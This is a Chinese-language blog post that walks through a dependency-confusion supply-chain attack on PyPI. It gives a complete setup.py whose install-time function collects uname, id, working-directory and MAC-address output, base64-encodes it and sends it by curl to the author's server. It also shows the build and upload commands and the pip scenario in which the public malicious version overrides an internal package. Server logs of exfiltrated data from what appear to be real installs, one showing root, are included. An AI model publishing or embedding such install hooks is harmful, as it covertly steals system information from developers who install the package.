相关新闻
2018年国外媒体有安全人员爆出Python pip ssh-decorate被发现存在后门代码
2019年驱动人生供应链攻击
2020年8月5日,腾讯洋葱反入侵系统检测发现PyPI官方仓库被恶意上传了request 钓鱼包
2020年11月腾讯洋葱反入侵系统检测发现 PyPI官方仓库被恶意上传了covd 钓鱼包
2020年12月13日,FireEye发布了关于SolarWinds供应链攻击的通告,与其相关的攻击事件被称为 UNC2452
想法开始
当然以上并不是驱动我尝试这件事的根本原因,昨天看到了这篇文章:不规范的依赖管理:我如何入侵苹果,微软和数十家公司(新型供应链攻击的故事)https://xz.aliyun.com/t/9231
文章挺长,当然重点大概在那十几万美刀的奖励和最后一句话:
话虽这么说,无论您的经验水平如何,我都竭诚鼓励您花一些时间在脑海中尝试一下该想法-无论它是否与依赖项管理安全性相关。
实施
详细的实施步骤~
注册&登陆
访问网站:https://pypi.org/account/register/
随便输就行,邮箱注意用真实的,后面要验证
注册完登上
建立恶意py包
随便起个项目名,对后面无影响
新建包名(pycharm下):右键-->New-->Python Package
新建setup.py内容中写上以下内容
from distutils.core import setup
from setuptools import find_packages
def get_info():
import os
import base64
uname_string = str(os.popen("uname -a").read())
id_string = str(os.popen("id").read())
pwd_string = str(os.popen("pwd").read())
macaddr_string = str(os.popen("cat /sys/class/net/eth0/address").read())
string = "{}##{}##{}##{}".format(uname_string,id_string,pwd_string,macaddr_string)
b64string = base64.b64encode(string.encode()).decode()
os.system("curl http://your-ip/" + b64string)
get_info()
setup(name='your-package', # 包名
version='2020.02.15', # 版本号
description='',
long_description='随便写', #描述信息,会写在pip的主页上
author='ki9mu',
author_email='随便写的邮箱',
url='',
license='',
install_requires=[],
classifiers=[
'Intended Audience :: Developers',
'Operating System :: OS Independent',
'Natural Language :: Chinese (Simplified)',
'Programming Language :: Python',
'Programming Language :: Python :: 2',
'Programming Language :: Python :: 2.5',
'Programming Language :: Python :: 2.6',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.2',
'Programming Language :: Python :: 3.3',
'Programming Language :: Python :: 3.4',
'Programming Language :: Python :: 3.5',
'Topic :: Utilities'
],
keywords='',
packages=find_packages('src'), # 必填,就是包的代码主目录
package_dir={'': 'src'}, # 必填
include_package_data=True,
)
# !/usr/bin/env python
在setup.py中写的代码都会在安装包的时候执行,其中的get_info函数是我自己写的
python3 -m pip install 包名
最终写完的格式大致如下:

编译:
python3 ./setup.py sdist build
上传:
python3 -m twine upload dist/*
安装后获取到的一些日志:
【某个ip地址】 - - [09/Mar/2021:12:38:10 +0800] "GET /TGludXggdW5yZWFsLXRvb2wtMi5sb2NhbGRvbWFpbiA1LjkuOC0xLmVsNy5lbHJlcG8ueDg2XzY0ICMxIFNNUCBXZWQgTm92IDExIDA5OjQ5OjA5IEVTVCAyMDIwIHg4Nl82NCB4ODZfNjQgeDg2XzY0IEdOVS9MaW51eAojI3VpZD0wKHJvb3QpIGdpZD0wKHJ… HTTP/1.1" 403 494 "-" "curl/7.29.0"
【某个ip地址】 - - [09/Mar/2021:12:38:50 +0800] "GET /TGludXggeXVudGVzdCAzLjEwLjAtMTE2MC5lbDcueDg2XzY0ICMxIFNNUCBNb24gT2N0IDE5IDE2OjE4OjU5IFVUQyAyMDIwIHg4Nl82NCB4ODZfNjQgeDg2XzY0IEdOV… HTTP/1.1" 404 438 "-" "curl/7.29.0"
至此,恶意py包已经完成
建立普通内部依赖包
还是刚才那个项目,将get_info()调用函数去掉 修改版本为低版本
version='2020.02.1'
编译:
python3 .\setup.py sdist build
攻击场景复现
前提条件:
将内部依赖包放在自己内网或者什么环境无所谓(版本为2020.02.01)
此时,开发者未创建该项目至pip的library库中
攻击者上传恶意包(版本为2020.02.15)
开发者安装依赖:
python3 -m pip install --extra-index-url http://内部依赖位置/ki9mu-2020.02.1.tar.gz ki9mu
此时pip程序会比对内部依赖版本与库依赖版本
由于攻击者上传的库依赖版本较高,故最终安装攻击者的恶意依赖包
结果如下:
安装健康的内部依赖3.1版本,自动安装库上面的3.15恶意版本

叨叨几句... NOTHING